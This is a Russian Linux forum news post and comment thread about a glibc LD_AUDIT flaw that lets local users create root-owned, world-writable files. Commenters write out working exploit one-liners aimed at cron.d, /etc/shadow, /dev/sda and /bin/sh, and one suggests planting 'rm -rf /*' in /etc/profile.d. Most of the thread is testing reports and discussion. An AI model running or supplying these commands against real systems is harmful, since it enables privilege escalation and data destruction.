LINUX.ORG.RU

Новый метод взлома, основанный на glibc

 , ,


0

1

Найден очередной метод взлома, основанный на glibc. Подвержены большинство Linux-систем, на которых установлена glibc версии 2.4 и выше. Проверено, что дистрибутивы OpenWall и Alt Linux не подвержены атаке, потому что у них установлен патч sanitize-env.

Смысл уязвимости — неправильные проверки при динамическом связывании в режиме LD_AUDIT библиотек с исполняемыми файлами, для которых установлены suid/sgid.
По идее, система должна блокировать LD_PRELOAD для загрузки из нестандартных областей файловой системы (/lib, /usr/lib), но не в этом случае.

Новость на opennet.ru


Обсуждение в Talks

>>> Подробности

★★★★☆

Проверено: anonymous_incognito ()
Последнее исправление: MuZHiK-2 (всего исправлений: 5)

Кстати, по поводу этой уязвимости. Не глубоко погрузившись, задался вопросом: а действительно ли тут виновата glibc? Не в ядре ли сокрыта истинная причина?

maxkit
()

Ох, как хомячки разверещались :) Как всегда, блестяшая работа Тэвиса Орманди.

anton_jugatsu ★★★★
()

в зюзе не фурычит

kott ★★★★★
()
Ответ на: комментарий от triknot

> Соврал, это старую закрыли.

Помоему как-раз эту. В крайнем случае судя по тексту на seclists.org этого и того что закрыли в слаке - ту же дыру, но в разных местах. Правда пробовать некогда.

FeyFre ★★★★
()
Ответ на: комментарий от Boy_from_Jungle

ни х86_64 ни 586 не работаю в зюзе

kott ★★★★★
()

У меня и старый-то не сработал... :(

cruxish ★★★★
()
Ответ на: комментарий от stevejobs

Да какие доводы? Мне обновление пришло раньше, чем я прочитал новость на ЛОРе. Ну, если пришедшие libc* - это оно. Линукс же без интернета и не юзается практически. Хотя и не только линукс, а вообще компьютер в наше время. А значит, дырки закрываются очень быстро и прозрачно для пользователя.

Антивирусы же нужны для лечения симптомов там, где причину болезни никто не лечит.

queen3 ★★★★★
()

>Проверено, что дистрибутивы OpenWall и Alt Linux не подвержены атаке
Аааа! «Твою ж мать!» (С)
Когда нанимаете кого-то пиарить дистрибутив, вы хоть расскажите ему, как название правильно пишется.

DRVTiny ★★★★★
()

В общем, на funtoo x86_64 :

1. Права на /etc/cron.d/exploit должны быть 644, иначе vixie-cron его в упор не видит. А создаётся сплойт с 666.

2. Поправил права сам, cron отработал (/bin/bash в /tmp/exploit): -rwsr-xr-x 1 root root 893208 Окт 23 17:26 /tmp/exploit

3. $ /tmp/exploit exploit-4.1$ exploit-4.1$ whoami user

Ну не срабатывает в funtoo setuid (:

vvn_black ★★★★★
()
Ответ на: комментарий от mx__

> Не помню ни одной книжки про Линух где было бы написано про то, что сам себе суидный бит это хорошо.

Великое открытие.

Опять же по умолчанию селинукс врублен если что ...

У кого?

И вообще затрудняюсь вспомнить сервак с локальными ( баш ) юзерами ...

Ну, если ты не вспоминаешь, то может их и нет, серваков таких?

И кстати а пинг вообще зачем локальным юзерам то ? Может им тогда

сразу открыть tcpdump ?

Да зачем они нужны вообще, локальные юзеры-то?

faustus
()
Ответ на: комментарий от vvn_black

> Права на /etc/cron.d/exploit должны быть 644, иначе vixie-cron его в упор не видит. А создаётся сплойт с 666.

Да чего вы к крону привязались? Мало мест что-ли, куда можно запихнуть скрипт, который исполнится автоматически при перезагрузке? find /etc -type d -name '*.d' в руки.

После команды

( umask 0 ; LD_AUDIT=«libpcprofile.so» PCPROFILE_OUTPUT=«/etc/file» ping )

любому человеку мало-мальски разбирающемуся в Линуксе достаточно посмотреть на rw-rw-rw- файла /etc/file, чтобы ужаснуться этой ДЫРИЩЕ.

И это ведь не какой-то хитрый эксплойт - просто криворукость ЧСВхнутых написателей glibc.

faustus
()
Ответ на: комментарий от faustus

Не привязался к крону, просто проверка конкретной реализации. А ужас от дырки был 5 дней назад, а не сейчас.

vvn_black ★★★★★
()
Ответ на: комментарий от vvn_black

>В общем, на funtoo x86_64 :
Пишем в /etc/profile.d/whatever что угодно, хотя бы rm -rf /*
После этого перестаём делать

(:

x3al ★★★★★
()
Ответ на: комментарий от Boy_from_Jungle

>только для ай386
Спокойно работает на арче x86_64.

x3al ★★★★★
()
Ответ на: комментарий от vvn_black

> А ужас от дырки был 5 дней назад, а не сейчас.

Пять дней назад там похитрее было, нужна была изначально директория на одном mount-point с suid-программой, куда можно записать файл. Что тоже не так редко на навороченных серверах (или наоборот, на совсем простеньких), но сегодняшний эксплойт это вообще что-то из ряда вон.

faustus
()
Ответ на: комментарий от x3al

> Пишем в /etc/profile.d/whatever что угодно, хотя бы rm -rf /*

Ой бяда-бяда, отрабатывает про логине рутом, ну и при старте системы. Неприятно как-то. (:

vvn_black ★★★★★
()
Ответ на: комментарий от faustus

> А, еще и права на чтение suid-программы тоже нужны были, что уже более редко.

Не были они там нужны. Их наличие всего лишь чуть упрощало эксплоит.

anonymous
()
Ответ на: комментарий от Rost

ядро тут непричем. эти дыры из-за костылей в глибце

Вы про какие костыли сейчас?

maxkit
()

Кто это писал?

Такое ощущение, что это высрал гугл-транслейт.

obvious-kun
()
Ответ на: комментарий от vvn_black

LD_AUDIT=«libpcprofile.so» PCPROFILE_OUTPUT=«/bin/sh» ping

и

LD_AUDIT=«libpcprofile.so» PCPROFILE_OUTPUT=«/lib/ld-linux.so.2» su

вероятно тоже работают весьма неприятно, причём сразу.

anonymous
()
Ответ на: комментарий от vvn_black

Отработает при любом логине и уберёт ~.

x3al ★★★★★
()
Ответ на: комментарий от faustus

Более того, указав вместо /etc/file что-нибудь более интересное можно получить интересный результат. Хорошие варианты /etc/shadow /etc/inittab. Особенно мне нравиться

( umask 0 ; LD_AUDIT=«libpcprofile.so» PCPROFILE_OUTPUT=«/dev/sda» ping )

no-such-file ★★★★★
()
Ответ на: комментарий от no-such-file

> ( umask 0 ; LD_AUDIT=«libpcprofile.so» PCPROFILE_OUTPUT=«/dev/sda» ping )

Ну, не до такой же степени! :)

vvn_black ★★★★★
()
Ответ на: комментарий от pevzi

Т.е. если вирус сделает те же самые действия, но без glib, то у него ничего не получится?

anonymous
()
Ответ на: комментарий от qbbr

>> ...Alt Linux не подвержены атаке

школьники кричат ура!

Ага, а старички pardus

anonymous
()

У меня под OpenSuSE 11.2 дыры вроде нет.

sh-4.0$ uname -a
Linux dev1 2.6.31.14-0.2-desktop #1 SMP PREEMPT 2010-10-07 19:06:53 +0200 x86_64 x86_64 x86_64 GNU/Linux
sh-4.0$ umask 0
sh-4.0$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
sh-4.0$ ls -s  /etc/cron.d/
итого 8
4 novell.com-suse_register  4 smolt
Похоже, что на платформе x86_64 эта методика не работает

k0valenk0_igor ★★★
()

Ведро. На ALT`е и правда не работает.

anonymous
()
Ответ на: комментарий от vertexua

>Постоянно проверяю все експлоиты, которые сдесь выкладывают. Еще ни

один не сработал. Ubuntu Server.

-rw-r--r-- 1 root vertexua 4 2010-10-23 13:20 /etc/cron.d/exploit

А должно было каким-то чудом образоваться

-rw-rw-rw-

ну попробуй что нибудь другое/

например LD_AUDIT=«libpcprofile.so» PCPROFILE_OUTPUT=«/dev/sda» /bin/ping

bernoulli
()

Так кто там орал, что альт говно?

Quasar ★★★★★
()

Решето!

anonymous
()
Ответ на: комментарий от ma1uta

потому что в сквизи обновление уже пришло, надо было проверять до обновления )

Sylvia ★★★★★
()

Объясните чайнику, на опеннете в статье говорится, что нужно установить libpcprofile.so и выполнить umask 0, без этого не работает? Если libpcprofile.so нет в системе, то как зломумышленник ее получит?

anonymous
()
Ответ на: комментарий от anonymous

вместо libcprofile.so можно использовать другую библиотеку, главное чтобы она читала какую-то заданную пользователем переменную и создавала файл или каталог с этим именем

umask 0 ставится для того чтобы создаваемый файл был доступен на запись всем ( mode 666 )


в «руководстве» просто приведен частный случай взлома, фактически возможностей для творчества тут довольно много.

Sylvia ★★★★★
()

debian sid

эксплойт не работает, cron отказался запускать задание:

Oct 24 11:50:01 nb /usr/sbin/cron[2025]: (*system*exploit) WRONG INODE INFO (/etc/cron.d/exploit)

anonymous
()
Ответ на: комментарий от mx__

>И кстати а пинг вообще зачем локальным юзерам то ?

Чтобы проверить работоспособность сервера/соединения.

// K.O.

AX ★★★★★
()
Ответ на: комментарий от triknot

>Соврал, это старую закрыли.
А эту и не открывали. Даже в current glibc 2.12, а тут для 2.4 и выше.

fractaler ★★★★★
()
Ответ на: комментарий от anonymous

дыра есть, возможности создания файлов от root вполне хватит чтобы взломать систему иным методом или сделать какую-нибудь бяку

/etc/profile.d/ - другая , наиболее простая цель

Sylvia ★★★★★
()
Ответ на: комментарий от triknot

>>Соврал, это старую закрыли.

А эту и не открывали. Даже в current glibc 2.12, а тут для 2.4 и выше.

Однако облом, файл создался. Хотя копия bash всё никак не появляется, создание файлов от рута как-то не радует.

fractaler ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.